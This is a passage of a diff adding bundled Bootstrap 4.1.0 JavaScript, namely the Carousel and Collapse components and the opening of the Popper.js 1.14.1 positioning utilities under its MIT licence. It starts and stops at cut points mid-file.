var EVENT_KEY = "." + DATA_KEY; + var DATA_API_KEY = '.data-api'; + var JQUERY_NO_CONFLICT = $$$1.fn[NAME]; + var ARROW_LEFT_KEYCODE = 37; // KeyboardEvent.which value for left arrow key + + var ARROW_RIGHT_KEYCODE = 39; // KeyboardEvent.which value for right arrow key + + var TOUCHEVENT_COMPAT_WAIT = 500; // Time for mouse compat events to fire after touch + + var Default = { + interval: 5000, + keyboard: true, + slide: false, + pause: 'hover', + wrap: true + }; + var DefaultType = { + interval: '(number|boolean)', + keyboard: 'boolean', + slide: '(boolean|string)', + pause: '(string|boolean)', + wrap: 'boolean' + }; + var Direction = { + NEXT: 'next', + PREV: 'prev', + LEFT: 'left', + RIGHT: 'right' + }; + var Event = { + SLIDE: "slide" + EVENT_KEY, + SLID: "slid" + EVENT_KEY, + KEYDOWN: "keydown" + EVENT_KEY, + MOUSEENTER: "mouseenter" + EVENT_KEY, + MOUSELEAVE: "mouseleave" + EVENT_KEY, + TOUCHEND: "touchend" + EVENT_KEY, + LOAD_DATA_API: "load" + EVENT_KEY + DATA_API_KEY, + CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY + }; + var ClassName = { + CAROUSEL: 'carousel', + ACTIVE: 'active', + SLIDE: 'slide', + RIGHT: 'carousel-item-right', + LEFT: 'carousel-item-left', + NEXT: 'carousel-item-next', + PREV: 'carousel-item-prev', + ITEM: 'carousel-item' + }; + var Selector = { + ACTIVE: '.active', + ACTIVE_ITEM: '.active.carousel-item', + ITEM: '.carousel-item', + NEXT_PREV: '.carousel-item-next, .carousel-item-prev', + INDICATORS: '.carousel-indicators', + DATA_SLIDE: '[data-slide], [data-slide-to]', + DATA_RIDE: '[data-ride="carousel"]' + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var Carousel = + /*#__PURE__*/ + function () { + function Carousel(element, config) { + this._items = null; + this._interval = null; + this._activeElement = null; + this._isPaused = false; + this._isSliding = false; + this.touchTimeout = null; + this._config = this._getConfig(config); + this._element = $$$1(element)[0]; + this._indicatorsElement = $$$1(this._element).find(Selector.INDICATORS)[0]; + + this._addEventListeners(); + } // Getters + + + var _proto = Carousel.prototype; + + // Public + _proto.next = function next() { + if (!this._isSliding) { + this._slide(Direction.NEXT); + } + }; + + _proto.nextWhenVisible = function nextWhenVisible() { + // Don't call next when the page isn't visible + // or the carousel or its parent isn't visible + if (!document.hidden && $$$1(this._element).is(':visible') && $$$1(this._element).css('visibility') !== 'hidden') { + this.next(); + } + }; + + _proto.prev = function prev() { + if (!this._isSliding) { + this._slide(Direction.PREV); + } + }; + + _proto.pause = function pause(event) { + if (!event) { + this._isPaused = true; + } + + if ($$$1(this._element).find(Selector.NEXT_PREV)[0]) { + Util.triggerTransitionEnd(this._element); + this.cycle(true); + } + + clearInterval(this._interval); + this._interval = null; + }; + + _proto.cycle = function cycle(event) { + if (!event) { + this._isPaused = false; + } + + if (this._interval) { + clearInterval(this._interval); + this._interval = null; + } + + if (this._config.interval && !this._isPaused) { + this._interval = setInterval((document.visibilityState ? this.nextWhenVisible : this.next).bind(this), this._config.interval); + } + }; + + _proto.to = function to(index) { + var _this = this; + + this._activeElement = $$$1(this._element).find(Selector.ACTIVE_ITEM)[0]; + + var activeIndex = this._getItemIndex(this._activeElement); + + if (index > this._items.length - 1 || index < 0) { + return; + } + + if (this._isSliding) { + $$$1(this._element).one(Event.SLID, function () { + return _this.to(index); + }); + return; + } + + if (activeIndex === index) { + this.pause(); + this.cycle(); + return; + } + + var direction = index > activeIndex ? Direction.NEXT : Direction.PREV; + + this._slide(direction, this._items[index]); + }; + + _proto.dispose = function dispose() { + $$$1(this._element).off(EVENT_KEY); + $$$1.removeData(this._element, DATA_KEY); + this._items = null; + this._config = null; + this._element = null; + this._interval = null; + this._isPaused = null; + this._isSliding = null; + this._activeElement = null; + this._indicatorsElement = null; + }; // Private + + + _proto._getConfig = function _getConfig(config) { + config = _objectSpread({}, Default, config); + Util.typeCheckConfig(NAME, config, DefaultType); + return config; + }; + + _proto._addEventListeners = function _addEventListeners() { + var _this2 = this; + + if (this._config.keyboard) { + $$$1(this._element).on(Event.KEYDOWN, function (event) { + return _this2._keydown(event); + }); + } + + if (this._config.pause === 'hover') { + $$$1(this._element).on(Event.MOUSEENTER, function (event) { + return _this2.pause(event); + }).on(Event.MOUSELEAVE, function (event) { + return _this2.cycle(event); + }); + + if ('ontouchstart' in document.documentElement) { + // If it's a touch-enabled device, mouseenter/leave are fired as + // part of the mouse compatibility events on first tap - the carousel + // would stop cycling until user tapped out of it; + // here, we listen for touchend, explicitly pause the carousel + // (as if it's the second time we tap on it, mouseenter compat event + // is NOT fired) and after a timeout (to allow for mouse compatibility + // events to fire) we explicitly restart cycling + $$$1(this._element).on(Event.TOUCHEND, function () { + _this2.pause(); + + if (_this2.touchTimeout) { + clearTimeout(_this2.touchTimeout); + } + + _this2.touchTimeout = setTimeout(function (event) { + return _this2.cycle(event); + }, TOUCHEVENT_COMPAT_WAIT + _this2._config.interval); + }); + } + } + }; + + _proto._keydown = function _keydown(event) { + if (/input|textarea/i.test(event.target.tagName)) { + return; + } + + switch (event.which) { + case ARROW_LEFT_KEYCODE: + event.preventDefault(); + this.prev(); + break; + + case ARROW_RIGHT_KEYCODE: + event.preventDefault(); + this.next(); + break; + + default: + } + }; + + _proto._getItemIndex = function _getItemIndex(element) { + this._items = $$$1.makeArray($$$1(element).parent().find(Selector.ITEM)); + return this._items.indexOf(element); + }; + + _proto._getItemByDirection = function _getItemByDirection(direction, activeElement) { + var isNextDirection = direction === Direction.NEXT; + var isPrevDirection = direction === Direction.PREV; + + var activeIndex = this._getItemIndex(activeElement); + + var lastItemIndex = this._items.length - 1; + var isGoingToWrap = isPrevDirection && activeIndex === 0 || isNextDirection && activeIndex === lastItemIndex; + + if (isGoingToWrap && !this._config.wrap) { + return activeElement; + } + + var delta = direction === Direction.PREV ? -1 : 1; + var itemIndex = (activeIndex + delta) % this._items.length; + return itemIndex === -1 ? this._items[this._items.length - 1] : this._items[itemIndex]; + }; + + _proto._triggerSlideEvent = function _triggerSlideEvent(relatedTarget, eventDirectionName) { + var targetIndex = this._getItemIndex(relatedTarget); + + var fromIndex = this._getItemIndex($$$1(this._element).find(Selector.ACTIVE_ITEM)[0]); + + var slideEvent = $$$1.Event(Event.SLIDE, { + relatedTarget: relatedTarget, + direction: eventDirectionName, + from: fromIndex, + to: targetIndex + }); + $$$1(this._element).trigger(slideEvent); + return slideEvent; + }; + + _proto._setActiveIndicatorElement = function _setActiveIndicatorElement(element) { + if (this._indicatorsElement) { + $$$1(this._indicatorsElement).find(Selector.ACTIVE).removeClass(ClassName.ACTIVE); + + var nextIndicator = this._indicatorsElement.children[this._getItemIndex(element)]; + + if (nextIndicator) { + $$$1(nextIndicator).addClass(ClassName.ACTIVE); + } + } + }; + + _proto._slide = function _slide(direction, element) { + var _this3 = this; + + var activeElement = $$$1(this._element).find(Selector.ACTIVE_ITEM)[0]; + + var activeElementIndex = this._getItemIndex(activeElement); + + var nextElement = element || activeElement && this._getItemByDirection(direction, activeElement); + + var nextElementIndex = this._getItemIndex(nextElement); + + var isCycling = Boolean(this._interval); + var directionalClassName; + var orderClassName; + var eventDirectionName; + + if (direction === Direction.NEXT) { + directionalClassName = ClassName.LEFT; + orderClassName = ClassName.NEXT; + eventDirectionName = Direction.LEFT; + } else { + directionalClassName = ClassName.RIGHT; + orderClassName = ClassName.PREV; + eventDirectionName = Direction.RIGHT; + } + + if (nextElement && $$$1(nextElement).hasClass(ClassName.ACTIVE)) { + this._isSliding = false; + return; + } + + var slideEvent = this._triggerSlideEvent(nextElement, eventDirectionName); + + if (slideEvent.isDefaultPrevented()) { + return; + } + + if (!activeElement || !nextElement) { + // Some weirdness is happening, so we bail + return; + } + + this._isSliding = true; + + if (isCycling) { + this.pause(); + } + + this._setActiveIndicatorElement(nextElement); + + var slidEvent = $$$1.Event(Event.SLID, { + relatedTarget: nextElement, + direction: eventDirectionName, + from: activeElementIndex, + to: nextElementIndex + }); + + if ($$$1(this._element).hasClass(ClassName.SLIDE)) { + $$$1(nextElement).addClass(orderClassName); + Util.reflow(nextElement); + $$$1(activeElement).addClass(directionalClassName); + $$$1(nextElement).addClass(directionalClassName); + var transitionDuration = Util.getTransitionDurationFromElement(activeElement); + $$$1(activeElement).one(Util.TRANSITION_END, function () { + $$$1(nextElement).removeClass(directionalClassName + " " + orderClassName).addClass(ClassName.ACTIVE); + $$$1(activeElement).removeClass(ClassName.ACTIVE + " " + orderClassName + " " + directionalClassName); + _this3._isSliding = false; + setTimeout(function () { + return $$$1(_this3._element).trigger(slidEvent); + }, 0); + }).emulateTransitionEnd(transitionDuration); + } else { + $$$1(activeElement).removeClass(ClassName.ACTIVE); + $$$1(nextElement).addClass(ClassName.ACTIVE); + this._isSliding = false; + $$$1(this._element).trigger(slidEvent); + } + + if (isCycling) { + this.cycle(); + } + }; // Static + + + Carousel._jQueryInterface = function _jQueryInterface(config) { + return this.each(function () { + var data = $$$1(this).data(DATA_KEY); + + var _config = _objectSpread({}, Default, $$$1(this).data()); + + if (typeof config === 'object') { + _config = _objectSpread({}, _config, config); + } + + var action = typeof config === 'string' ? config : _config.slide; + + if (!data) { + data = new Carousel(this, _config); + $$$1(this).data(DATA_KEY, data); + } + + if (typeof config === 'number') { + data.to(config); + } else if (typeof action === 'string') { + if (typeof data[action] === 'undefined') { + throw new TypeError("No method named \"" + action + "\""); + } + + data[action](); + } else if (_config.interval) { + data.pause(); + data.cycle(); + } + }); + }; + + Carousel._dataApiClickHandler = function _dataApiClickHandler(event) { + var selector = Util.getSelectorFromElement(this); + + if (!selector) { + return; + } + + var target = $$$1(selector)[0]; + + if (!target || !$$$1(target).hasClass(ClassName.CAROUSEL)) { + return; + } + + var config = _objectSpread({}, $$$1(target).data(), $$$1(this).data()); + + var slideIndex = this.getAttribute('data-slide-to'); + + if (slideIndex) { + config.interval = false; + } + + Carousel._jQueryInterface.call($$$1(target), config); + + if (slideIndex) { + $$$1(target).data(DATA_KEY).to(slideIndex); + } + + event.preventDefault(); + }; + + _createClass(Carousel, null, [{ + key: "VERSION", + get: function get() { + return VERSION; + } + }, { + key: "Default", + get: function get() { + return Default; + } + }]); + + return Carousel; + }(); + /** + * ------------------------------------------------------------------------ + * Data Api implementation + * ------------------------------------------------------------------------ + */ + + + $$$1(document).on(Event.CLICK_DATA_API, Selector.DATA_SLIDE, Carousel._dataApiClickHandler); + $$$1(window).on(Event.LOAD_DATA_API, function () { + $$$1(Selector.DATA_RIDE).each(function () { + var $carousel = $$$1(this); + + Carousel._jQueryInterface.call($carousel, $carousel.data()); + }); + }); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + $$$1.fn[NAME] = Carousel._jQueryInterface; + $$$1.fn[NAME].Constructor = Carousel; + + $$$1.fn[NAME].noConflict = function () { + $$$1.fn[NAME] = JQUERY_NO_CONFLICT; + return Carousel._jQueryInterface; + }; + + return Carousel; + }($); + + /** + * -------------------------------------------------------------------------- + * Bootstrap (v4.1.0): collapse.js + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * -------------------------------------------------------------------------- + */ + + var Collapse = function ($$$1) { + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + var NAME = 'collapse'; + var VERSION = '4.1.0'; + var DATA_KEY = 'bs.collapse'; + var EVENT_KEY = "." + DATA_KEY; + var DATA_API_KEY = '.data-api'; + var JQUERY_NO_CONFLICT = $$$1.fn[NAME]; + var Default = { + toggle: true, + parent: '' + }; + var DefaultType = { + toggle: 'boolean', + parent: '(string|element)' + }; + var Event = { + SHOW: "show" + EVENT_KEY, + SHOWN: "shown" + EVENT_KEY, + HIDE: "hide" + EVENT_KEY, + HIDDEN: "hidden" + EVENT_KEY, + CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY + }; + var ClassName = { + SHOW: 'show', + COLLAPSE: 'collapse', + COLLAPSING: 'collapsing', + COLLAPSED: 'collapsed' + }; + var Dimension = { + WIDTH: 'width', + HEIGHT: 'height' + }; + var Selector = { + ACTIVES: '.show, .collapsing', + DATA_TOGGLE: '[data-toggle="collapse"]' + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var Collapse = + /*#__PURE__*/ + function () { + function Collapse(element, config) { + this._isTransitioning = false; + this._element = element; + this._config = this._getConfig(config); + this._triggerArray = $$$1.makeArray($$$1("[data-toggle=\"collapse\"][href=\"#" + element.id + "\"]," + ("[data-toggle=\"collapse\"][data-target=\"#" + element.id + "\"]"))); + var tabToggles = $$$1(Selector.DATA_TOGGLE); + + for (var i = 0; i < tabToggles.length; i++) { + var elem = tabToggles[i]; + var selector = Util.getSelectorFromElement(elem); + + if (selector !== null && $$$1(selector).filter(element).length > 0) { + this._selector = selector; + + this._triggerArray.push(elem); + } + } + + this._parent = this._config.parent ? this._getParent() : null; + + if (!this._config.parent) { + this._addAriaAndCollapsedClass(this._element, this._triggerArray); + } + + if (this._config.toggle) { + this.toggle(); + } + } // Getters + + + var _proto = Collapse.prototype; + + // Public + _proto.toggle = function toggle() { + if ($$$1(this._element).hasClass(ClassName.SHOW)) { + this.hide(); + } else { + this.show(); + } + }; + + _proto.show = function show() { + var _this = this; + + if (this._isTransitioning || $$$1(this._element).hasClass(ClassName.SHOW)) { + return; + } + + var actives; + var activesData; + + if (this._parent) { + actives = $$$1.makeArray($$$1(this._parent).find(Selector.ACTIVES).filter("[data-parent=\"" + this._config.parent + "\"]")); + + if (actives.length === 0) { + actives = null; + } + } + + if (actives) { + activesData = $$$1(actives).not(this._selector).data(DATA_KEY); + + if (activesData && activesData._isTransitioning) { + return; + } + } + + var startEvent = $$$1.Event(Event.SHOW); + $$$1(this._element).trigger(startEvent); + + if (startEvent.isDefaultPrevented()) { + return; + } + + if (actives) { + Collapse._jQueryInterface.call($$$1(actives).not(this._selector), 'hide'); + + if (!activesData) { + $$$1(actives).data(DATA_KEY, null); + } + } + + var dimension = this._getDimension(); + + $$$1(this._element).removeClass(ClassName.COLLAPSE).addClass(ClassName.COLLAPSING); + this._element.style[dimension] = 0; + + if (this._triggerArray.length > 0) { + $$$1(this._triggerArray).removeClass(ClassName.COLLAPSED).attr('aria-expanded', true); + } + + this.setTransitioning(true); + + var complete = function complete() { + $$$1(_this._element).removeClass(ClassName.COLLAPSING).addClass(ClassName.COLLAPSE).addClass(ClassName.SHOW); + _this._element.style[dimension] = ''; + + _this.setTransitioning(false); + + $$$1(_this._element).trigger(Event.SHOWN); + }; + + var capitalizedDimension = dimension[0].toUpperCase() + dimension.slice(1); + var scrollSize = "scroll" + capitalizedDimension; + var transitionDuration = Util.getTransitionDurationFromElement(this._element); + $$$1(this._element).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration); + this._element.style[dimension] = this._element[scrollSize] + "px"; + }; + + _proto.hide = function hide() { + var _this2 = this; + + if (this._isTransitioning || !$$$1(this._element).hasClass(ClassName.SHOW)) { + return; + } + + var startEvent = $$$1.Event(Event.HIDE); + $$$1(this._element).trigger(startEvent); + + if (startEvent.isDefaultPrevented()) { + return; + } + + var dimension = this._getDimension(); + + this._element.style[dimension] = this._element.getBoundingClientRect()[dimension] + "px"; + Util.reflow(this._element); + $$$1(this._element).addClass(ClassName.COLLAPSING).removeClass(ClassName.COLLAPSE).removeClass(ClassName.SHOW); + + if (this._triggerArray.length > 0) { + for (var i = 0; i < this._triggerArray.length; i++) { + var trigger = this._triggerArray[i]; + var selector = Util.getSelectorFromElement(trigger); + + if (selector !== null) { + var $elem = $$$1(selector); + + if (!$elem.hasClass(ClassName.SHOW)) { + $$$1(trigger).addClass(ClassName.COLLAPSED).attr('aria-expanded', false); + } + } + } + } + + this.setTransitioning(true); + + var complete = function complete() { + _this2.setTransitioning(false); + + $$$1(_this2._element).removeClass(ClassName.COLLAPSING).addClass(ClassName.COLLAPSE).trigger(Event.HIDDEN); + }; + + this._element.style[dimension] = ''; + var transitionDuration = Util.getTransitionDurationFromElement(this._element); + $$$1(this._element).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration); + }; + + _proto.setTransitioning = function setTransitioning(isTransitioning) { + this._isTransitioning = isTransitioning; + }; + + _proto.dispose = function dispose() { + $$$1.removeData(this._element, DATA_KEY); + this._config = null; + this._parent = null; + this._element = null; + this._triggerArray = null; + this._isTransitioning = null; + }; // Private + + + _proto._getConfig = function _getConfig(config) { + config = _objectSpread({}, Default, config); + config.toggle = Boolean(config.toggle); // Coerce string values + + Util.typeCheckConfig(NAME, config, DefaultType); + return config; + }; + + _proto._getDimension = function _getDimension() { + var hasWidth = $$$1(this._element).hasClass(Dimension.WIDTH); + return hasWidth ? Dimension.WIDTH : Dimension.HEIGHT; + }; + + _proto._getParent = function _getParent() { + var _this3 = this; + + var parent = null; + + if (Util.isElement(this._config.parent)) { + parent = this._config.parent; // It's a jQuery object + + if (typeof this._config.parent.jquery !== 'undefined') { + parent = this._config.parent[0]; + } + } else { + parent = $$$1(this._config.parent)[0]; + } + + var selector = "[data-toggle=\"collapse\"][data-parent=\"" + this._config.parent + "\"]"; + $$$1(parent).find(selector).each(function (i, element) { + _this3._addAriaAndCollapsedClass(Collapse._getTargetFromElement(element), [element]); + }); + return parent; + }; + + _proto._addAriaAndCollapsedClass = function _addAriaAndCollapsedClass(element, triggerArray) { + if (element) { + var isOpen = $$$1(element).hasClass(ClassName.SHOW); + + if (triggerArray.length > 0) { + $$$1(triggerArray).toggleClass(ClassName.COLLAPSED, !isOpen).attr('aria-expanded', isOpen); + } + } + }; // Static + + + Collapse._getTargetFromElement = function _getTargetFromElement(element) { + var selector = Util.getSelectorFromElement(element); + return selector ? $$$1(selector)[0] : null; + }; + + Collapse._jQueryInterface = function _jQueryInterface(config) { + return this.each(function () { + var $this = $$$1(this); + var data = $this.data(DATA_KEY); + + var _config = _objectSpread({}, Default, $this.data(), typeof config === 'object' && config); + + if (!data && _config.toggle && /show|hide/.test(config)) { + _config.toggle = false; + } + + if (!data) { + data = new Collapse(this, _config); + $this.data(DATA_KEY, data); + } + + if (typeof config === 'string') { + if (typeof data[config] === 'undefined') { + throw new TypeError("No method named \"" + config + "\""); + } + + data[config](); + } + }); + }; + + _createClass(Collapse, null, [{ + key: "VERSION", + get: function get() { + return VERSION; + } + }, { + key: "Default", + get: function get() { + return Default; + } + }]); + + return Collapse; + }(); + /** + * ------------------------------------------------------------------------ + * Data Api implementation + * ------------------------------------------------------------------------ + */ + + + $$$1(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) { + // preventDefault only for <a> elements (which change the URL) not inside the collapsible element + if (event.currentTarget.tagName === 'A') { + event.preventDefault(); + } + + var $trigger = $$$1(this); + var selector = Util.getSelectorFromElement(this); + $$$1(selector).each(function () { + var $target = $$$1(this); + var data = $target.data(DATA_KEY); + var config = data ? 'toggle' : $trigger.data(); + + Collapse._jQueryInterface.call($target, config); + }); + }); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + $$$1.fn[NAME] = Collapse._jQueryInterface; + $$$1.fn[NAME].Constructor = Collapse; + + $$$1.fn[NAME].noConflict = function () { + $$$1.fn[NAME] = JQUERY_NO_CONFLICT; + return Collapse._jQueryInterface; + }; + + return Collapse; + }($); + + /**! + * @fileOverview Kickass library to create and place poppers near their reference elements. + * @version 1.14.1 + * @license + * Copyright (c) 2016 Federico Zivolo and contributors + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ + var isBrowser = typeof window !== 'undefined' && typeof document !== 'undefined'; + var longerTimeoutBrowsers = ['Edge', 'Trident', 'Firefox']; + var timeoutDuration = 0; + for (var i = 0; i < longerTimeoutBrowsers.length; i += 1) { + if (isBrowser && navigator.userAgent.indexOf(longerTimeoutBrowsers[i]) >= 0) { + timeoutDuration = 1; + break; + } + } + + function microtaskDebounce(fn) { + var called = false; + return function () { + if (called) { + return; + } + called = true; + window.Promise.resolve().then(function () { + called = false; + fn(); + }); + }; + } + + function taskDebounce(fn) { + var scheduled = false; + return function () { + if (!scheduled) { + scheduled = true; + setTimeout(function () { + scheduled = false; + fn(); + }, timeoutDuration); + } + }; + } + + var supportsMicroTasks = isBrowser && window.Promise; + + /** + * Create a debounced version of a method, that's asynchronously deferred + * but called in the minimum time possible. + * + * @method + * @memberof Popper.Utils + * @argument {Function} fn + * @returns {Function} + */ + var debounce = supportsMicroTasks ? microtaskDebounce : taskDebounce; + + /** + * Check if the given variable is a function + * @method + * @memberof Popper.Utils + * @argument {Any} functionToCheck - variable to check + * @returns {Boolean} answer to: is a function? + */ + function isFunction(functionToCheck) { + var getType = {}; + return functionToCheck && getType.toString.call(functionToCheck) === '[object Function]'; + } + + /** + * Get CSS computed property of the given element + * @method + * @memberof Popper.Utils + * @argument {Eement} element + * @argument {String} property + */ + function getStyleComputedProperty(element, property) { + if (element.nodeType !== 1) { + return []; + } + // NOTE: 1 DOM access here + var css = getComputedStyle(element, null); + return property ? css[property] : css; + } + + /** + * Returns the parentNode or the host of the element + * @method + * @memberof Popper.Utils + * @argument {Element} element + * @returns {Element} parent + */ + function getParentNode(element) { + if (element.nodeName === 'HTML') { + return element; + } + return element.parentNode || element.host; + } + + /** + * Returns the scrolling parent of the given element + * @method + * @memberof Popper.Utils + * @argument {Element} element + * @returns {Element} scroll parent + */ + function getScrollParent(element) { + // Return body, `getScroll` will take care to get the correct `scrollTop` from it + if (!element) { + return document.body; + } + + switch (element.nodeName) { + case 'HTML': + case 'BODY': + return element.ownerDocument.body; + case '#document': + return element.body; + } + + // Firefox want us to check `-x` and `-y` variations as well + + var _getStyleComputedProp = getStyleComputedProperty(element), + overflow = _getStyleComputedProp.overflow, + overflowX = _getStyleComputedProp.overflowX, + overflowY = _getStyleComputedProp.overflowY; + + if (/(auto|scroll|overlay)/.test(overflow + overflowY + overflowX)) { + return element; + } + + return getScrollParent(getParentNode(element)); + } + + /** + * Tells if you are running Internet Explorer + * @method + * @memberof Popper.Utils + * @argument {number} version to check + * @returns {Boolean} isIE + */ + var cache = {}; + + var isIE = function () { + var version = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 'all'; + + version = version.toString(); + if (cache.hasOwnProperty(version)) { + return cache[version]; + } + switch (version) { + case '11': + cache[version] = navigator.userAgent.indexOf('Trident') !== -1; + break; + case '10': + cache[version] = navigator.appVersion.indexOf('MSIE 10') !== -1; + break; + case 'all': + cache[version] = navigator.userAgent.indexOf('Trident') !== -1 || navigator.userAgent.indexOf('MSIE') !== -1; + break; + } + + //Set IE + cache.all = cache.all || Object.keys(cache).some(function (key) { + return cache[key]; + }); + return cache[version]; + }; + + /** + * Returns the offset parent of the given element + * @method + * @memberof Popper.Utils + * @argument {Element} element + * @returns {Element} offset parent + */ + function getOffsetParent(element) { + if (!element) { + return document.documentElement; + } + + var noOffsetParent = isIE(10) ? document.body : null; + + // NOTE: 1 DOM access here + var offsetParent = element.offsetParent; + // Skip hidden elements which don't have an offsetParent + while (offsetParent === noOffsetParent && element.nextElementSibling) { + offsetParent = (element = element.nextElementSibling).offsetParent; + } + + var nodeName = offsetParent && offsetParent.nodeName; + + if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') { + return element ? element.ownerDocument.documentElement : document.documentElement; + } + + // .offsetParent will return the closest TD or TABLE in case + // no offsetParent is present, I hate this job... + if (['TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 && getStyleComputedProperty(offsetParent, 'position') === 'static') { + return getOffsetParent(offsetParent); + } + + return offsetParent; + } + + function isOffsetContainer(element) { + var nodeName = element.nodeName; + + if (nodeName === 'BODY') { + return false; + } + return nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element; + } + + /** + * Finds the root node (document, shadowDOM root) of the given element + * @method + * @memberof Popper.Utils + * @argument {Element} node + * @returns {Element} root node + */ + function getRoot(node) { + if (node.parentNode !== null) { + return getRoot(node.parentNode); + } + + return node; + } + + /** + * Finds the offset parent common to the two provided nodes + * @method + * @memberof Popper.Utils + * @argument {Element} element1 + * @argument {Element} element2 + * @returns {Element} common offset parent + */ + function findCommonOffsetParent(element1, element2) { + // This check is needed to avoid errors in case one of the elements isn't defined for any reason + if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) { + return document.documentElement; + } + + // Here we make sure to give as "start" the element that comes first in the DOM + var order = element1.compareDocumentPosition(element2) & Node.DOCUMENT_POSITION_FOLLOWING; + var start = order ? element1 : element2; + var end = order ? element2 : element1; + + // Get common ancestor container + var range = document.createRange(); + range.setStart(start, 0); + range.setEnd(end, 0); + var commonAncestorContainer = range.commonAncestorContainer; + + // Both nodes are inside #document + + if (element1 !== commonAncestorContainer && element2 !== commonAncestorContainer || start.contains(end)) { + if (isOffsetContainer(commonAncestorContainer)) { + return commonAncestorContainer; + } + + return getOffsetParent(commonAncestorContainer); + } + + // one of the nodes is inside shadowDOM, find which one + var element1root = getRoot(element1); + if (element1root.host) { + return findCommonOffsetParent(element1root.host, element2); + } else { + return findCommonOffsetParent(element1, getRoot(element2).host); + } + } + + /** + * Gets the scroll value of the given element in the given side (top and left) + * @method + * @memberof Popper.Utils + * @argument {Element} element + * @argument {String} side `top` or `left` + * @returns {number} amount of scrolled pixels + */ + function getScroll(element) { + var side = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'top'; + + var upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft'; + var nodeName = element.nodeName; + + if (nodeName === 'BODY' || nodeName === 'HTML') { + var html = element.ownerDocument.documentElement; + var scrollingElement = element.ownerDocument.scrollingElement || html; + return scrollingElement[upperSide]; + } + + return element[upperSide]; + } + + /* + * Sum or subtract the element scroll values (left and top) from a given rect object + * @method + * @memberof Popper.Utils + * @param {Object} rect - Rect object you want to change + * @param {HTMLElement} element - The element from the function reads the scroll values + * @param {Boolean} subtract - set to true if you want to subtract the scroll values + * @return {Object} rect - The modifier rect object + */ + function includeScroll(rect, element) { + var subtract = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; + + var scrollTop = getScroll(element, 'top'); + var scrollLeft = getScroll(element, 'left'); + var modifier = subtract ? -1 : 1; + rect.top += scrollTop * modifier; + rect.bottom += scrollTop * modifier; + rect.left += scrollLeft * modifier; + rect.right += scrollLeft * modifier; + return rect; + } + + /* + * Helper to detect borders of a given element + * @method + * @memberof Popper.Utils + * @param {CSSStyleDeclaration} styles + * Result of `getStyleComputedProperty` on the given element + * @param {String} axis - `x` or `y` + * @return {number} borders - The borders size of the given axis + */ + + function getBordersSize(styles, axis) { + var sideA = axis === 'x' ? 'Left' : 'Top'; + var sideB = sideA === 'Left' ? 'Right' : 'Bottom'; + + return parseFloat(styles['border' + sideA + 'Width'], 10) + parseFloat(styles['border' + sideB + 'Width'], 10); + } + + function getSize(axis, body, html, computedStyle) { + return Math.max(body['offset' + axis], body['scroll' + axis], html['client' + axis], html['offset' + axis], html['scroll' + axis], isIE(10) ? html['offset' + axis] + computedStyle['margin' + (axis === 'Height' ? 'Top' : 'Left')] + computedStyle['margin' + (axis === 'Height' ? 'Bottom' : 'Right')] : 0); + } + + function getWindowSizes() { + var body = document.body; + var html = document.documentElement; + var computedStyle = isIE(10) && getComputedStyle(html); + + return { + height: getSize('Height', body, html, computedStyle), + width: getSize('Width', body, html, computedStyle) + }; + } + + var classCallCheck = function (instance, Constructor) { + if (!(instance instanceof Constructor)) { + throw new TypeError("Cannot call a class as a function"); + } + }; + + var createClass = function () { + function defineProperties(target, props) { + for (var i = 0; i < props.length; i++) { + var descriptor = props[i]; + descriptor.enumerable = descriptor.enumerable || false; + descriptor.configurable = true; + if ("value" in descriptor) descriptor.writable = true; + Object.defineProperty(target, descriptor.key, descriptor); + } + } + + return function (Constructor, protoProps, staticProps) { + if (protoProps) defineProperties(Constructor.prototype, protoProps); + if (staticProps) defineProperties(Constructor, staticProps); + return Constructor; + }; + }(); + + + + + + var defineProperty = function (obj, key, value) { + if (key in obj) { + Object.defineProperty(obj, key, { + value: value, + enumerable: true, + configurable: true, + writable: true + }); + } else { + obj[key] = value; + } + + return obj; + }; + + var _extends = Object.assign || function (target) { + for (var i = 1; i < arguments.length; i++) { + var source = arguments[i]; + + for (var key in source) { + if (Object.prototype.hasOwnProperty.call(source, key)) { + target[key] = source[key]; + } + } + } + + return target; + }; + + /** + * Given element offsets, generate an output similar to getBoundingClientRect + * @method + * @memberof Popper.Utils + * @argument {Object} offsets + * @returns {Object} ClientRect like output + */ + function getClientRect(offsets) { + return _extends({}, offsets, { + right: offsets.left + offsets.width, + bottom: offsets.top + offsets.height + }); + } + + /** + * Get bounding client rect of given element + * @method + * @memberof Popper.Utils + * @param 